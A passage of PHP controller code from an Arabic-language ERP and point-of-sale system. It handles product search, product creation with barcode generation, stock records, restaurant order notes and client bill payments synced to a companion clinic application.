                $productId = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else {
                $productId = $pro->productId;
            }
            $productName = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $productName .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $productName .= '/' . $pro->colorName;
            }

            $row_array['id'] = $productId;
            $row_array['text'] = $productName;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

function getProductsexpenses()
{
    global $myProductEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);

    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimit2($name);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (isset($pro->sizeid) && $pro->sizeid > 0 && isset($pro->colorid) && $pro->colorid > 0) {
                $productId = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else {
                $productId = $pro->productId;
            }
            $productName = $pro->parcode . '/' . $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $productName .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $productName .= '/' . $pro->colorName;
            }

            $row_array['id'] = $productId;
            $row_array['text'] = $productName;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

// select from Product tbl
function getProductsbyandstorNoService($storeid)
{
    global $myProductEx;
    global $myBillsettingEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);


    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimitNoService($name, $storeid, $controlNameSearch);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productBuyPrice'] = $pro->productBuyPrice;
            $row_array['productSellAllPrice'] = $pro->productSellAllPrice;
            $row_array['productSellUnitPrice'] = $pro->productSellUnitPrice;
            $row_array['productSellHalfPrice'] = $pro->productSellHalfPrice;
            $row_array['note'] = $pro->productDescription;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

function getProductsbyandstorNoService2($storeid, $procat)
{
    global $myProductEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);

    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimitNoService2($name, $storeid, $procat);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            // $row_array['text'] = $pro->productName . '/' . $pathArr;
            $row_array['text'] = $pro->productName;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

// select from Product tbl
function loadProductCatNameById($productCatId, $productcatName, $itr)
{
    global $myProductcatRecord;

    $productcatNamex = $productcatName;
    // select all data from producttbl
    $productcatData = $myProductcatRecord->load($productCatId);

    if (count($productcatData) > 0) {

        if ($itr == 1) {
            $productcatNamex = $productcatData->productCatName;
        } elseif ($itr == 2) {
            $productcatNamex = $productcatNamex . "/" . $productcatData->productCatName;
        }



        if ($productcatData->productCatParent != 0) {
            return loadProductCatNameById($productcatData->productCatParent, $productcatNamex, 2);
        }
    }

    return $productcatNamex;
}

// select from productcat tbl
function SearchInProductCatNameWithNameAndId($productCatId, $name, $limit, $itr)
{
    global $myProductcatRecord;
    global $myProductcatEx;

    $productcatNamex = $name;

    // select all data from productcat tbl
    $productcatData = $myProductcatEx->queryWithNameAndId($productcatNamex, $productCatId);
    if (count($productcatData) > 0) {
        if ($itr == 1) {
            $productcatNamex = $productcatData->productCatName;
        } elseif ($itr == 2) {
            $productcatNamex = $productcatData->productCatName . "/" . $productcatNamex;
        }

        if ($productcatData->productCatParent != 0) {
            return loadProductCatNameById($productcatData->productCatParent, $productcatNamex, 2);
        }
    }
    return $productcatNamex;
}

function addNewproduct()
{
    global $myProduct;
    global $myProductRecord;
    global $myProductEx;
    global $myProductunit;
    global $myProductunitRecord;
    global $noOfDecimalPlaces;

    $flag;
    $productId;
    $level = (int) $_POST['level'];
    if ($level != 1) {
        $level = $level - 1;
        $productCatId = $_POST['productCatId' . $level . ''];
    } else {
        $productCatId = $_POST['productCatId'];
    }

    if (empty($_POST['productDate'])) {
        $_POST['productDate'] = date('Y-m-d H:i:s');
    }

    $productName = $_POST['productName'];
    $parcode = $_POST['parcode'];
    $productBuyPrice = (float) $_POST['productBuyPrice'];
    $productSellAllPrice = (float) $_POST['productSellAllPrice'];
    $productSellHalfPrice = (float) $_POST['productSellHalfPrice'];
    $productSellUnitPrice = (float) $_POST['productSellUnitPrice'];
    $new_productquantity = (float) $_POST['new_productquantity'];
    $limitamount = (float) $_POST['limitamount'];
    $productDate = $_POST['productDate'];
    $productDescription = isset($_POST['productDescription']) ? $_POST['productDescription'] : '';
    $unitsItr = $_POST['unitsItr'];
    $type1 = (int) $_POST["type1"];
    $inMenu = (int) $_POST["inMenu1"];
    $expireDate = (int) $_POST["expireDate"];


    $productBuyPrice = round($productBuyPrice, $noOfDecimalPlaces);
    $productSellAllPrice = round($productSellAllPrice, $noOfDecimalPlaces);
    $productSellHalfPrice = round($productSellHalfPrice, $noOfDecimalPlaces);
    $productSellUnitPrice = round($productSellUnitPrice, $noOfDecimalPlaces);

    $productbuypricereal = $_POST['productbuypricereal'];
    $buypricereal_precentage = $_POST['buypricereal_precentage1'];
    $buytotal_precentage = $_POST['buytotal_precentage1'];
    $buyhalf_precentage = $_POST['buyhalf_precentage1'];
    $buypart_precentage = $_POST['buypart_precentage1'];
    $isservice = (int) $_POST['isservice1'];

    $productbuypricereal = round($productbuypricereal, $noOfDecimalPlaces);
    $buypricereal_precentage = round($buypricereal_precentage, $noOfDecimalPlaces);
    $buytotal_precentage = round($buytotal_precentage, $noOfDecimalPlaces);
    $buyhalf_precentage = round($buyhalf_precentage, $noOfDecimalPlaces);
    $buypart_precentage = round($buypart_precentage, $noOfDecimalPlaces);


    if ($isservice == 1) {
        $productBuyPrice = 0;
        $productquantity = 0;
    }
    //check if there is a product with this name in this category or not
    $productValid = $myProductEx->checkForProductNameInOneCategory($productName, $productCatId);
    if (count($productValid) > 0) { //name is in this category
        $flag = 0;
    } else { //name is not in this category, or it is in another category
        if (empty($limitamount)) {
            $limitamount = 0;
        }
        ###################################################################
        ##prcode if not empty check and use it ==> as checkbarcode must be used before insert if user write his own parcode
        if (!empty($parcode)) {
            $parcode = addPreDigitsToNum($parcode);
            ##check for barcode
            $flag = checkbarcode($parcode);
            if ($flag == 1) {
                //parcode is repeated get another one
                $parcode = generateParcode();
            }
            removeParcodeFromTable($parcode);
        } else {
            //will do it after insert use parcode from pro id comming now
        }
        ###################################################################

        $myProduct->productbuypricereal = $productbuypricereal;
        $myProduct->buypricereal_precentage = $buypricereal_precentage;
        $myProduct->buytotal_precentage = $buytotal_precentage;
        $myProduct->buyhalf_precentage = $buyhalf_precentage;
        $myProduct->buypart_precentage = $buypart_precentage;
        $myProduct->expireDate = $expireDate;
        $myProduct->productCatId = $productCatId;
        $myProduct->productName = $productName;
        $myProduct->parcode = $parcode;
        $myProduct->productBuyPrice = $productBuyPrice;
        $myProduct->productSellAllPrice = $productSellAllPrice;
        $myProduct->productSellHalfPrice = $productSellHalfPrice;
        $myProduct->productSellUnitPrice = $productSellUnitPrice;
        $myProduct->lastbuyprice = $productBuyPrice;
        $myProduct->lastbuyprice_withDiscount = $productBuyPrice;
        $myProduct->meanbuyprice = $productBuyPrice;
        $myProduct->meanbuyprice_withDiscount = $productBuyPrice;
        $myProduct->limitamount = $limitamount;
        $myProduct->productDate = $productDate;
        $myProduct->productDescription = $productDescription;
        $myProduct->conditions = 0;
        $myProduct->userId = $_SESSION['userid'];
        $myProduct->type = $type1;
        $myProduct->dailyentryId = 0;
        $myProduct->isService = $isservice;
        $myProduct->isOptic = 0;
        $myProduct->inMenu = $inMenu;


        $productId = $myProductRecord->insert($myProduct);
        onlineTempProductFunc($productId, 1);
        ################################################################
        ##this is prcode if empty
        if (empty($parcode)) {
            $parcode = addPreDigitsToNum($productId);

            ##check for barcode
            $flag = checkbarcode($parcode);
            if ($flag == 1) {
                //parcode is repeated get another one
                $parcode = generateParcode();
            }
            removeParcodeFromTable($parcode);
            $product->parcode = $parcode;
            $myProductRecord->update($product);
        }
        ##############################################################
        //insert into productunit tbl
        $k = 1;
        $Unitdone = 0;
        for ($k = 1; $k <= $unitsItr; $k++) {
            $unitId = $_POST['newunitid' . $k . ''];
            $productNumber = $_POST['newproductnumber' . $k . ''];

            if (isset($unitId) && $unitId != "-1") {
                $myProductunit->conditions = 0;
                $myProductunit->productid = $productId;
                $myProductunit->productnumber = $productNumber;
                $myProductunit->productunitdate = date("Y-m-d");
                $myProductunit->unitid = $unitId;
                $myProductunit->userid = $_SESSION['userid'];

                $myProductunitRecord->insert($myProductunit);
                $Unitdone = 1;
            }
        }

        if ($Unitdone == 0) {

            $myProductunit->conditions = 0;
            $myProductunit->productid = $productId;
            $myProductunit->productnumber = 1;
            $myProductunit->productunitdate = date("Y-m-d");
            $myProductunit->unitid = 1;
            $myProductunit->userid = $_SESSION['userid'];

            $myProductunitRecord->insert($myProductunit);
        }

        //insert into storedetail tbl
        insertStoredetail(1, $productId, $new_productquantity);

        //insert into storereport tbl
        insertStorereport($productId, 1, $new_productquantity, 0, $new_productquantity, 0, $productId, "اضافة منتج", "productController.php");


        $flag = 1;
    }


    return array($flag, $productId);
}

function checkbarcode($parcode)
{
    global $productDAO;
    global $Programsettingdata;
    global $availableParcodeDAO;
    $flag = 1;
    if ($Programsettingdata->usedParcode == 0) {
        if (!isset($Programsettingdata->parcodeDigits) || empty($Programsettingdata->parcodeDigits)) {
            $Programsettingdata->parcodeDigits = 5;
        }

        $biggestParcode = '';
        for ($i = 1; $i <= (int) $Programsettingdata->parcodeDigits; $i++) {
            $biggestParcode .= '9';
        }
        $biggestParcode = (int) $biggestParcode;


        if ($parcode <= $biggestParcode) {
            $parcodeResult = $availableParcodeDAO->queryByValue($parcode);
            if (isset($parcodeResult) && count($parcodeResult) > 0) {
                //if value in the table it is not repeated
                $flag = 2;
                return $flag;
            }
        }
    }

    //check if this parcode already exists in db
    $data = $productDAO->queryByParcode($parcode);
    $flag2;
    if (count($data) > 0) { //> 1 as now i check for barcode after in
        $flag2 = 1;
    } else {
        $flag2 = 2;
    }

    $flagToreturn = 1;
    if ($flag == 2 || $flag2 == 2) {
        $flagToreturn = 2;
    }


    return $flagToreturn;
}

function generateParcode()
{
    global $availableParcodeEX;
    $parcode = $availableParcodeEX->getAvailableParcodeValue();
    //check if this parcode already exists
    $data = checkbarcode($parcode);
    if ($data != 2) {
        $parcode = generateParcode();
    }
    return $parcode;
}

function removeParcodeFromTable($barcode)
{
    global $Programsettingdata;
    global $availableParcodeDAO;
    if ($Programsettingdata->usedParcode == 0) {

        if (!isset($Programsettingdata->parcodeDigits) || empty($Programsettingdata->parcodeDigits)) {
            $Programsettingdata->parcodeDigits = 5;
        }

        $biggestParcode = '';
        for ($i = 1; $i <= (int) $Programsettingdata->parcodeDigits; $i++) {
            $biggestParcode .= '9';
        }
        $biggestParcode = (int) $biggestParcode;

        if ($barcode <= $biggestParcode) {
            $availableParcodeDAO->deleteByValue($barcode);
        }
    }
}

//add in storerawmaterialdetails tbl
function insertStoredetail($storeid, $productid, $productChangeAmount)
{

    global $myStoredetail;
    global $myStoredetailRecord;

    $myStoredetail->userid = $_SESSION['userid'];
    $myStoredetail->storedetaildate = date("Y-m-d");
    $myStoredetail->productquantity = $productChangeAmount;
    $myStoredetail->storeid = $storeid;
    $myStoredetail->productid = $productid;

    $myStoredetailRecord->insert($myStoredetail);
}

//add in Storemovement tbl
function insertStorereport($productid, $storeid, $productChangeAmount, $productbefore, $productafter, $storereporttype, $storereportmodelid, $processname, $tablename)
{
    global $myStorereport;
    global $myStorereportRecord;

    $myStorereport->processname = $processname;
    $myStorereport->productafter = $productafter;
    $myStorereport->productbefore = $productbefore;
    $myStorereport->productquantity = $productChangeAmount;
    $myStorereport->productid = $productid;
    $myStorereport->storeid = $storeid;
    $myStorereport->storereportdate = date("Y-m-d");
    $myStorereport->storereportmodelid = $storereportmodelid;
    $myStorereport->storereporttype = $storereporttype;
    $myStorereport->tablename = $tablename;
    $myStorereport->userid = $_SESSION['userid'];

    $id = $myStorereportRecord->insert($myStorereport);
    $myStorereport->storereportid = $id;
    onlineTempStoreReportFunc($myStorereport);
}

function getSellStores()
{
    global $clientDAO;
    global $userDAO;
    global $storeDAO;
    global $storeEX;

    $clientids = $_REQUEST["id"];
    if (isset($clientids) && !empty($clientids) && $clientids != "null" && $clientids > 0) {
        $userdata = $userDAO->load($_SESSION['userid']);
        $myStores;
        $clientsStores = '';

        $ids = explode(',', $clientids);
        foreach ($ids as $id) {
            $clientData = $clientDAO->load($id);
            if ($clientData->clientStoreIds == '-10') {
                $clientData->clientStoreIds = '';
                $allStores = $storeDAO->queryAll();
                foreach ($allStores as $store) {
                    $clientData->clientStoreIds .= $store->storeId . ',';
                }
                $clientData->clientStoreIds = rtrim($clientData->clientStoreIds, ',');
            }
            $clientsStores .= $clientData->clientStoreIds . ',';
        }
        $clientsStores = rtrim($clientsStores, ',');

        if ($userdata->userstoreid == 0) {
            //user is allowed to has all stores
            $myStores = $storeEX->queryAllIn($clientsStores, ' and conditions = 0 ');
        } else {
            $clientsStores = explode(",", $clientsStores);
            if (in_array($userdata->userstoreid, $clientsStores)) {
                $myStores[0] = $storeDAO->load($userdata->userstoreid);
            } else {
                $allStoresIn = $storeEX->queryAllIn($clientsStores[0], ' and conditions = 0 ');
                $myStores[0] = $allStoresIn[0];
            }
        }

        return $myStores;
    }
}

function getAllSubCatInMenu($catid, $mode)
{
    global $productCatExt;
    global $productCatDAO;
    global $catsIDS;
    global $lastLevelCatIDS;
    global $lastLevelCats;
    //mode = 1 get all sub cats
    //mode = 2 get last level cats

    $result = $productCatExt->queryByParentExt($catid, ' and inMenu = 0 ');
    if (count($result) > 0) {
        foreach ($result as $data) {
            if ($mode == 1) {
                $catsIDS .= ", " . $data->productCatId;
                getAllSubCatInMenu($data->productCatId, $mode);
            } elseif ($mode == 2) {
                $childData = $productCatExt->queryByParentExt($data->productCatId, ' and inMenu = 0 ');
                if (count($childData) > 0) {
                    getAllSubCatInMenu($data->productCatId, $mode);
                } else {
                    if (!empty($data->productCatId)) {
                        array_push($lastLevelCatIDS, $data->productCatId);
                        array_push($lastLevelCats, $data);
                    }
                }
            }
        }
    } else {
        //        if ($mode == 2) {
        //            $childData = $productCatExt->queryByParentExt($data->productCatId, ' and inMenu = 0 ');
        //            if (count($childData) > 0) {
        //                getAllSubCatInMenu($data->productCatId, $mode);
        //            } else {
        //                if (!empty($data->productCatId)) {
        //                    array_push($lastLevelCatIDS, $data->productCatId);
        //                    array_push($lastLevelCats, $data);
        //                }
        //            }
        //        }
    }
}

function getNotesDiff($notes, $notesPrinted)
{

    $notesDiff = $notes;
    if (!empty($notesPrinted)) {
        $notes = explode(',', $notes);
        $notesPrinted = explode(',', $notesPrinted);
        $a = $notes[0] - $notesPrinted[0];
        $b = $notes[1] - $notesPrinted[1];
        $c = $notes[2] - $notesPrinted[2];
        $d = $notes[3] - $notesPrinted[3];
        $e = $notes[4] - $notesPrinted[4];
        $f = $notes[5] - $notesPrinted[5];
        $notesDiff = $a . ',' . $b . ',' . $c . ',' . $d . ',' . $e . ',' . $f;
    }
    return $notesDiff;
}

function getNotesSum($notes1, $notes2)
{
    $notesSum;
    if (empty($notes1) && empty($notes2)) {
        $notesSum = "";
    } elseif (empty($notes1) && !empty($notes2)) {
        $notesSum = $notes2;
    } elseif (!empty($notes1) && empty($notes2)) {
        $notesSum = $notes1;
    } else {
        $notes1 = explode(',', $notes1);
        $notes2 = explode(',', $notes2);
        //
        $a = $notes1[0] + $notes2[0];
        $b = $notes1[1] + $notes2[1];
        $c = $notes1[2] + $notes2[2];
        $d = $notes1[3] + $notes2[3];
        $e = $notes1[4] + $notes2[4];
        $f = $notes1[5] + $notes2[5];
        $notesSum = $a . ',' . $b . ',' . $c . ',' . $d . ',' . $e . ',' . $f;
    }

    return $notesSum;
}

function getRestaurantOrderDetails($orderId)
{
    global $restaurantOrderDetailsEX;
    $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdEX($orderId);
    foreach ($restaurantOrderDetails as $details) {
        $notesStr = '';
        if ($details->notes != "") {
            $notesArr = explode(',', $details->notes);
            if (!empty($notesArr[0])) {
                $notesStr .= $notesArr[0] . ' زيادة عالى ';
            }
            if (!empty($notesArr[1])) {
                $notesStr .= $notesArr[1] . ' زيادة ';
            }
            if (!empty($notesArr[2])) {
                $notesStr .= $notesArr[2] . ' مانو ';
            }
            if (!empty($notesArr[3])) {
                $notesStr .= $notesArr[3] . ' مظبوط ';
            }
            if (!empty($notesArr[4])) {
                $notesStr .= $notesArr[4] . ' عالريحه ';
            }
            if (!empty($notesArr[5])) {
                $notesStr .= $notesArr[5] . ' ساده ';
            }
        }
        if (empty($details->notesPrinted)) {
            $details->notesPrinted = '0,0,0,0,0,0';
        }
        if (empty($details->notes)) {
            $details->notes = '0,0,0,0,0,0';
        }
        $details->notesPrinted = explode(',', $details->notesPrinted);
        $details->notes = explode(',', $details->notes);
        $details->notesStr = $notesStr;
    }
    return $restaurantOrderDetails;
}

function addPreDigitsToNum($num)
{
    global $Programsettingdata;

    if (!isset($Programsettingdata->parcodeDigits) || empty($Programsettingdata->parcodeDigits)) {
        $Programsettingdata->parcodeDigits = 5;
    }
    $length = $Programsettingdata->parcodeDigits;


    $preDigits = '';
    if (strlen($num) != $length) {
        $noDigitsLeft = $length - strlen($num);
        for ($j = 0; $j < $noDigitsLeft; $j++) {
            $preDigits .= '0';
        }
    }
    return $preDigits . $num;
}

function useSpecializedParcodeDigits($parcode, $productId, $specializedParcodeDigits)
{
    $preDigits = '';
    if (strlen($productId) != $specializedParcodeDigits) {
        $noDigitsLeft = $specializedParcodeDigits - strlen($productId);
        for ($j = 0; $j < $noDigitsLeft; $j++) {
            $preDigits .= '0';
        }
    }
    $newParcode = 'i' . $preDigits . $productId;
    return $newParcode;
}

function loadProductWithByParcode()
{
    global $myProductEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $rows_array = array();
    $return_arr = array();

    $parcode = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    if ($parcode == '') {
        $productsData = $myProductEx->loadProductbyparcod($parcode); //queryByNameExtWithoutLimitParcode2
        if (count($productsData) > 0) {
            foreach ($productsData as $pro) {

                $parentId = $pro->productCatId;
                //names of product's parents
                $pathArr = fetch_recursive($parentId, $categories);

                //send product id and product name as something that select2 expects.
                //send product id and product name as something that select2 expects.

                $row_array['id'] = $pro->productId;
                //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
                $row_array['text'] = $pro->productName . '/' . $pathArr;


                //            $row_array['productquantity'] = $pro->productquantity;
                array_push($return_arr, $row_array);
            }
        }
    } else {

        if ($Programsettingdata->usedParcode == 1) { //usedParcode == 1 it is id coming after i
            $parcode = str_replace('ه', 'i', $parcode);
            $parcode = str_replace('÷', 'i', $parcode);
            $parcode = str_replace('/', 'i', $parcode);
            $parcode = str_replace('I', 'i', $parcode);
            if ($parcode[0] == 'i') {
                $parcode = str_replace("i", "", $parcode);
                $productsData = $myProductEx->loadProduct((int) $parcode);
            } else {
                $productsData = $myProductEx->queryWithParcode($parcode);
            }
        } else {
            $productsData = $myProductEx->queryWithParcode($parcode);
        }

        //    $productsData = $myProductEx->queryByNameExtWithoutLimitParcode2($parcode);
        if (count($productsData) > 0) {

            $parentId = $productsData->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            //send product id and product name as something that select2 expects.

            $row_array['id'] = $productsData->productId;
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $productsData->productName . '/' . $pathArr;


            //            $row_array['productquantity'] = $pro->productquantity;
            array_push($return_arr, $row_array);
        }

        echo json_encode($return_arr);
    }
}

function loadProductUnitWithProductAndUnit($productId, $unitId)
{

    //to use the variable out side the funcion
    global $myProductunitEx;

    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndUnitId($productId, $unitId);

    return $productunitData;
}

function getSellStatistics($client, $productsData)
{
    global $mySellbillEx;
    global $SellbillandruternEX;

    $productStatistics = array();

    $productIdsNoSizeColor = '';
    $queryString = '';
    foreach ($productsData as $pro) {
        if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
            $queryString .= " or (sellbilldetailproductid=$pro->productId and sizeid=$pro->sizeid and colorid=$pro->colorid)";
            $productStatistics["hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid] = 0;
        } else { //without size and color
            $productIdsNoSizeColor .= "$pro->productId,";
            $productStatistics[$pro->productId] = 0;
        }
    }
    $productIdsNoSizeColor = trim($productIdsNoSizeColor, ",");

    if (!empty($productIdsNoSizeColor)) {
        $queryString .= " or sellbilldetailproductid in($productIdsNoSizeColor) ";
    }
    //get statistics
    $sellStat = $mySellbillEx->getClientSellStatistics($client, $queryString);
    foreach ($sellStat as $pro) {
        if ($pro->sizeid > 0 && $pro->colorid > 0) { //has size and color
            $productStatistics["hasSizeColor" . $pro->sellbilldetailproductid . "-" . $pro->sizeid . "-" . $pro->colorid] += $pro->sellbillid;
        } else {
            $productStatistics[$pro->sellbilldetailproductid] += $pro->sellbillid;
        }
    }
    $sellAndRetStat = $SellbillandruternEX->getClientSellStatistics($client, $queryString);
    foreach ($sellAndRetStat as $pro) {
        if ($pro->sizeid > 0 && $pro->colorid > 0) { //has size and color
            $productStatistics["hasSizeColor" . $pro->sellbilldetailproductid . "-" . $pro->sizeid . "-" . $pro->colorid] += $pro->sellbillid;
        } else {
            $productStatistics[$pro->sellbilldetailproductid] += $pro->sellbillid;
        }
    }
    return $productStatistics;
}

function makeSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment)
{
    global $mySellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    //for obygy
    global $userDAO;
    global $Programsettingdata;


    $voucher = $bill_no;
    $comment = $_POST["comment"];
    if (!isset($comment) || empty($rowComment)) {
        $comment = $rowComment;
    }
    $today = date("Y-m-d");

    $clientid = 0;
    //Transaction
    $mytransactions = new Transaction();
    $allDataObygyArray = array();
    try {
        $clientdebtchangeId = 0;
        $sellBill = $mySellbillRecord->load($bill_no);
        //        var_dump($sellBill->sellbillid);
        //        var_dump($pay);
        //        var_dump($paytype);
        //        var_dump($saveid);
        //        var_dump($bankAccountId);
        if ($sellBill->sellbillid > 0 && $pay > 0 && (($paytype == "save" && $saveid > 0) || ($paytype == "bank" && $bankAccountId > 0))) {

            ###1 - update client debt
            $client = getClientDataFromClientInUseSP($sellBill->sellbillclientid);
            $client->clientid = $clientid = $sellBill->sellbillclientid;

            $debtBefore = $client->clientdebt;
            $payedDept = $pay;
            $debtAfter = $debtBefore - $payedDept;
            $client->clientdebt = $debtAfter;
            $client->userid = $_SESSION['userid'];
            $client->clientdate = $today;

            $clientExt->updatedept($client);
            markClientAsNOTInUse($sellBill->sellbillclientid);

            //insert into supplierdeptchange tbl
            $clientDeptChange->comment = $comment;
            $clientDeptChange->processname = "السداد على فاتورة بيع للعميل";
            $clientDeptChange->clientdebtchangeafter = $debtAfter;
            $clientDeptChange->clientdebtchangeamount = $payedDept;
            $clientDeptChange->totalOperationCost = $payedDept;
            $clientDeptChange->clientdebtchangebefore = $debtBefore;
            $clientDeptChange->clientdebtchangedate = date('Y-m-d H:i:s');
            $clientDeptChange->clientdebtchangemodelid = $voucher;
            $clientDeptChange->clientdebtchangetype = 1;
            $clientDeptChange->tablename = "clientPayedDeptSellBillsController.php";
            $clientDeptChange->userid = $_SESSION['userid'];
            $clientDeptChange->clientid = $client->clientid;
            $clientDeptChange->dailyentryid = 0;
            $clientDeptChange->num = $voucher;
            $clientDeptChange->billid = $bill_no;
            $clientDeptChange->paytype = $paytype_txt;


            //Insert
            $clientdebtchangeId = $clientDeptChangeDAO->insert($clientDeptChange);

            #### 2- affect save or bank
            if ($paytype == "save") {
                $valueData = getSaveValueAndPlus($saveid, $payedDept);

                //  print_r($valueData);
                if (count($valueData) > 0) {
                    $saveId = $valueData[0];
                    $saveValuebefore = $valueData[1];
                    $saveValueafter = $valueData[2];

                    //update save value after payedDept
                    updateSave($saveId, $saveValueafter);
                    //insert into savedaily tbl
                    insertSavedaily($saveValuebefore, $payedDept, 0, $saveId, "السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $saveValueafter, "clientPayedDeptSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId);
                    makeDillPaymentDailyEntry($bill_no, $payedDept, $valueData[3], $client->treeId, $clientdebtchangeId);
                }
            } elseif ($paytype == "bank") {
                $dataBankAccount = $myBankaccountRecord->load($bankAccountId);
                //            //tree account
                //            $treeIdBankAccount = $dataBankAccount->treeId;
                //increase account value and write in history
                $accValOld = $dataBankAccount->accountbeginingbalance;
                $dataBankAccount->accountbeginingbalance = $dataBankAccount->accountbeginingbalance + $payedDept;
                $myBankaccountRecord->update($dataBankAccount);
                insertAccountmovement($accValOld, $payedDept, 0, $dataBankAccount->accountbeginingbalance, "السداد على فاتورة بيع للعميل", $sellBill->sellbillid, $dataBankAccount->accountid, $dataBankAccount->bankid, "clientPayedDeptSellBillsController.php", $comment, date("Y-m-d H:i:s"), $clientdebtchangeId, $sellBill->sellbillclientid);
                makeDillPaymentDailyEntry($bill_no, $payedDept, $dataBankAccount->treeId, $client->treeId, $clientdebtchangeId);
            }

            if ($Programsettingdata->obygyFolder != "") {
                $bill_pay = array();
                $client = $clientDAO->load($clientid);
                $bill_pay["patient_id"] = $client->obygyPatientId; //royal
                $bill_pay["bill_id"] = $sellBill->sellbillid; //erp
                $bill_pay["bill_id_royal"] = $sellBill->obygyVisitId; //royal
                if ($paytype == "save") {
                    $bill_pay["detectionvalue_cash"] = $payedDept;
                    $bill_pay["detectionvalue_visa"] = 0;
                    $bill_pay["saveOrBankAccountid"] = $saveId;
                    $bill_pay["erp_clientdebtchangeid_save"] = $clientdebtchangeId;
                } elseif ($paytype == "bank") {
                    $bill_pay["detectionvalue_cash"] = 0;
                    $bill_pay["detectionvalue_visa"] = $payedDept;
                    $bill_pay["saveOrBankAccountid"] = $bankAccountId;
                    $bill_pay["erp_clientdebtchangeid_bank"] = $clientdebtchangeId;
                }

                $userData = $userDAO->load($_SESSION['userid']);
                $bill_pay["discount"] = 0; //0
                $bill_pay["note"] = ''; //empty or username
                $bill_pay["user_id"] = $userData->obygyDoctorId;
                $bill_pay["user_name"] = $userData->employeename;
                $bill_pay["paymentfrom"] = 1; //erp or royal
                $bill_pay["cahngeType"] = 0; //to decreae debt @royal
                array_push($allDataObygyArray, $bill_pay);
            }
        }


        $add_print = filter_input(INPUT_POST, 'add_print');

        $data_arr = array($add_print, $clientdebtchangeId);



        $mytransactions->commit();
        $isCurlFromRoyal = (int) $_POST['isCurlFromRoyal']; //1 it is curl from royal//to stop recursion curl btween erp,royal
        if ($Programsettingdata->obygyFolder != "" && $isCurlFromRoyal != 1 && count($allDataObygyArray) > 0) {
            $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $Programsettingdata->obygyFolder . '/core/controllers/visits.php?ac=payERPBills';
            $ret = CURL_Request($allDataObygyArray, $url, 1);
            //print_r($ret);
        }
    } catch (Exception $ex) {
        echo $ex;
        $mytransactions->rollback();
        markClientAsNOTInUse($clientid);
    }


    return $data_arr;
}

function makeReturnSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment)
{
    global $myReturnsellbillRecord;
    global $clientExt;
    global $clientDAO;
    global $client;
    global $clientDeptChange;
    global $clientDeptChangeDAO;

    //save
    global $mySave;
    global $mySaveDAO;
    global $myBankaccountRecord;
    global $userDAO;
    global $Programsettingdata;

    $voucher = $bill_no;
    $comment = $_POST["comment"];
    if (!isset($comment) || empty($rowComment)) {
